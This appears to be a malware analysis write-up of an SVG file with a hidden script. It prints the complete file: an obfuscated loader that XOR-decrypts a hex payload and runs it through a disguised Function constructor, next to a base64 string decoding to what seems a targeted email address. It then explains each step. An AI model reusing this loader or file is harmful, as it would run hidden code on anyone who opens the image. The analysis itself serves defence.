The provided code is an SVG document that contains an...

July 2, 2025 at 06:51 PM

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="250">
<script>
<![CDATA[
Z = "aXNhYmVsLnBpZXJjZUBybGljb3JwLmNvbQ==";

(() => {
  const j = "4259af47b5f4f5ee6184a31a", k = "435b5b5d0e111a5b0d5607400f5a0b4b5e435d52410e1100405d571146077c65451e4404057d474e117c0e78461816180d011212013c6c71021e4104074f424e14670b794318515261475512463c7c65451e44070207474e566b425501181332015e171201054d0f021e06012970054e14090a514318130c4070171243345944401e0607335e054e56735362011851530c445512432c750a401e0609061c4e3f0d";
  const Y = k.match(/.{2}/g), T = [];
  for (let E = 0; E < Y.length; E++) {
    T.push(String.fromCharCode(parseInt(Y[E], 16) ^ j.charCodeAt(E % j.length)));
  }
  const w = T.join('');
  const p = {
    toString: () => {
      const W = [][
        [115,111,109,101].map(L => String.fromCharCode(L)).join('')
      ][
        [99,111,110,115,116,114,117,99,116,111,114].map(L => String.fromCharCode(L)).join('')
      ];
      return W(w)(), 1;
    }
  };
  p + '';
})();
]]>
</script>
</svg>

The provided code is an SVG document that contains an embedded JavaScript script. Here’s a detailed breakdown of what this code does:

General Context

The <svg> element is an SVG (Scalable Vector Graphics) document, which is typically used for graphics and visualization.
<script> allows an SVG to include JavaScript. The script is written inside a <![CDATA[ ]]> block, which allows special characters such as < and > to be used without being treated as XML.
However, this code does not interact with the SVG’s visible content. Instead, it focuses on JavaScript logic to decode and execute obfuscated data.

Deciphering the Code

Step 1: Base64 String

The variable Z is defined as a base64-encoded string:
```
Z = "aXNhYmVsLnBpZXJjZUBybGljb3JwLmNvbQ==";
```
When decoded, this string resolves to:
```
isabel.pierce@rlicorp.com
```
This looks like an email address, but it's not used further in the script.

Step 2: Key and Encoded Data

j is a hex string (likely acting as a cryptographic key):
```
j = "4259af47b5f4f5ee6184a31a";
```
k is another long hex string (encoded data):
```
k = "435b5b5d0e111a5b0d560740...";
```

Step 3: XOR Decryption

The code splits k into pairs of hex digits (using match(/.{2}/g)), converts each pair to a character code, and XORs it against the corresponding character of j. The result is stored in an array T.
This technique is often used for XOR-based decryption. String.fromCharCode converts each resulting character code into a readable character, and the characters are joined back together to form a string w.

Step 4: Dynamic String Execution

Next, the code dynamically constructs a function using obfuscated property names:
```
[][
  [115,111,109,101].map(L => String.fromCharCode(L)).join('')
][
  [99,111,110,115,116,114,117,99,116,111,114].map(L => String.fromCharCode(L)).join('')
];
```
- [115,111,109,101] corresponds to "some".
- [99,111,110,115,116,114,117,99,116,111,114] corresponds to "constructor".
- So the resulting operation resolves to [][some][constructor], which creates a new Function object dynamically from the string w.

Step 5: Executing Decrypted Code

The decrypted string w is executed as JavaScript code:
```
return W(w)(), 1;
```
W(w) evaluates and runs the w code (likely malicious).

What the Code Does

This SVG document contains obfuscated JavaScript that:

Decodes a base64 string (unused later).
Decrypts an obfuscated payload k using XOR decryption with the key j.
Dynamically constructs and executes the decrypted payload (w).

Potential Security Issue

Executing dynamically evaluated code (eval or new Function) like this is a common technique in malicious scripts. This code may execute malicious activities once the decryption occurs, such as stealing data, redirecting users, or initiating exploits.

Conclusion

This code is highly obfuscated and likely malicious. It doesn't interact with the visual SVG but instead uses the SVG as a container for delivering and executing potentially harmful JavaScript code.

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